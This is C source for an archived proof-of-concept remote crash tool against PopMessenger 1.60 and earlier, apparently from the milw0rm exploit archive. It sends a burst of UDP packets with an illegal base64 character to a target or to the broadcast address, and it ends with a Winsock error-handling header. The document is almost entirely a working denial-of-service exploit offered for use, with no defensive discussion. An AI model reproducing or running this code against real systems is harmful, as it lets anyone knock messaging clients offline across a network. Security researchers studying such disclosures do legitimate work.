///////////////////////// popmsgboom.c
/*
by Luigi Auriemma
*/
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <time.h>
#ifdef WIN32
#include <winsock.h>
#include "winerr.h"
#define close closesocket
#else
#include <unistd.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <arpa/inet.h>
#include <netinet/in.h>
#include <netdb.h>
#endif
#define VER "0.1"
#define PORT 8473
#define BCAST "255.255.255.255"
#define MAX 30 // we need less then 20 packets
u_long resolv(char *host);
void std_err(void);
int main(int argc, char *argv[]) {
struct sockaddr_in peer;
int sd,
i,
on = 1;
u_long randnum;
u_short port = PORT;
u_char pck[] =
"Z........\0"
"C@main\1"
"@chnlMAIN\1"
"@chnlMAIN\1"
"\1\1\1\1\1"
"crasher\1"
"cmdAddString\1"
"%\1"; // the crash happens when the program receives
// multiple packets containing an incorrect base64
// char in the message field (in fact % is illegal)
setbuf(stdout, NULL);
fputs("\n"
"PopMessenger <= 1.60 (20 Sep 2004) remote crash "VER"\n"
"by Luigi Auriemma\n"
"e-mail: aluigi@altervista.org\n"
"web: http://aluigi.altervista.org\n"
"\n", stdout);
if(argc < 2) {
printf("\n"
"Usage: %s <host> [port(%d)]\n"
"\n"
"Note: you can also launch this tool versus broadcast IP (like "BCAST")\n"
"\n", argv[0], PORT);
exit(1);
}
#ifdef WIN32
WSADATA wsadata;
WSAStartup(MAKEWORD(1,0), &wsadata);
#endif
if(argc > 2) port = atoi(argv[2]);
if(!memcmp(argv[1], BCAST, sizeof(BCAST) - 1)) {
peer.sin_addr.s_addr = 0xffffffffL;
} else {
peer.sin_addr.s_addr = resolv(argv[1]);
}
peer.sin_port = htons(port);
peer.sin_family = AF_INET;
printf("- target %s:%hu\n",
inet_ntoa(peer.sin_addr),
port);
sd = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP);
if(sd < 0) std_err();
/* broadcast */
if(setsockopt(sd, SOL_SOCKET, SO_BROADCAST, (char *)&on, sizeof(on))
< 0) std_err();
randnum = time(NULL);
printf("- send %d messages with an illegal base64 char to cause the crash\n", MAX);
for(i = 0; i < MAX; i++) {
sprintf(pck + 1, "%08lx", randnum * i); // must be ever different
if(sendto(sd, pck, sizeof(pck) - 1, 0, (struct sockaddr *)&peer, sizeof(peer))
< 0) std_err();
fputc('.', stdout);
sleep(0);
}
close(sd);
fputs("\n- data sent, the application should be crashed\n\n", stdout);
return(0);
}
u_long resolv(char *host) {
struct hostent *hp;
u_long host_ip;
host_ip = inet_addr(host);
if(host_ip == INADDR_NONE) {
hp = gethostbyname(host);
if(!hp) {
printf("\nError: Unable to resolv hostname (%s)\n", host);
exit(1);
} else host_ip = *(u_long *)hp->h_addr;
}
return(host_ip);
}
#ifndef WIN32
void std_err(void) {
perror("\nError");
exit(1);
}
#endif
/////////// winerr.h
/*
Header file used for manage errors in Windows
It support socket and errno too
(this header replace the previous sock_errX.h)
*/
#include <string.h>
#include <errno.h>
void std_err(void) {
char *error;
switch(WSAGetLastError()) {
case 10004: error = "Interrupted system call"; break;
case 10009: error = "Bad file number"; break;
case 10013: error = "Permission denied"; break;
case 10014: error = "Bad address"; break;
case 10022: error = "Invalid argument (not bind)"; break;
case 10024: error = "Too many open files"; break;
case 10035: error = "Operation would block"; break;
case 10036: error = "Operation now in progress"; break;
case 10037: error = "Operation already in progress"; break;
case 10038: error = "Socket operation on non-socket"; break;
case 10039: error = "Destination address required"; break;
case 10040: error = "Message too long"; break;
case 10041: error = "Protocol wrong type for socket"; break;
case 10042: error = "Bad protocol option"; break;
case 10043: error = "Protocol not supported"; break;
case 10044: error = "Socket type not supported"; break;
case 10045: error = "Operation not supported on socket"; break;
case 10046: error = "Protocol family not supported"; break;
case 10047: error = "Address family not supported by protocol family"; break;
case 10048: error = "Address already in use"; break;
case 10049: error = "Can't assign requested address"; break;
case 10050: error = "Network is down"; break;
case 10051: error = "Network is unreachable"; break;
case 10052: error = "Net dropped connection or reset"; break;
case 10053: error = "Software caused connection abort"; break;
case 10054: error = "Connection reset by peer"; break;
case 10055: error = "No buffer space available"; break;
case 10056: error = "Socket is already connected"; break;
case 10057: error = "Socket is not connected"; break;
case 10058: error = "Can't send after socket shutdown"; break;
case 10059: error = "Too many references, can't splice"; break;
case 10060: error = "Connection timed out"; break;
case 10061: error = "Connection refused"; break;
case 10062: error = "Too many levels of symbolic links"; break;
case 10063: error = "File name too long"; break;
case 10064: error = "Host is down"; break;
case 10065: error = "No Route to Host"; break;
case 10066: error = "Directory not empty"; break;
case 10067: error = "Too many processes"; break;
case 10068: error = "Too many users"; break;
case 10069: error = "Disc Quota Exceeded"; break;
case 10070: error = "Stale NFS file handle"; break;
case 10091: error = "Network SubSystem is unavailable"; break;
case 10092: error = "WINSOCK DLL Version out of range"; break;
case 10093: error = "Successful WSASTARTUP not yet performed"; break;
case 10071: error = "Too many levels of remote in path"; break;
case 11001: error = "Host not found"; break;
case 11002: error = "Non-Authoritative Host not found"; break;
case 11003: error = "Non-Recoverable errors: FORMERR, REFUSED, NOTIMP"; break;
case 11004: error = "Valid name, no data record of requested type"; break;
default: error = strerror(errno); break;
}
fprintf(stderr, "\nError: %s\n", error);
exit(1);
}
// milw0rm.com [2004-09-23]
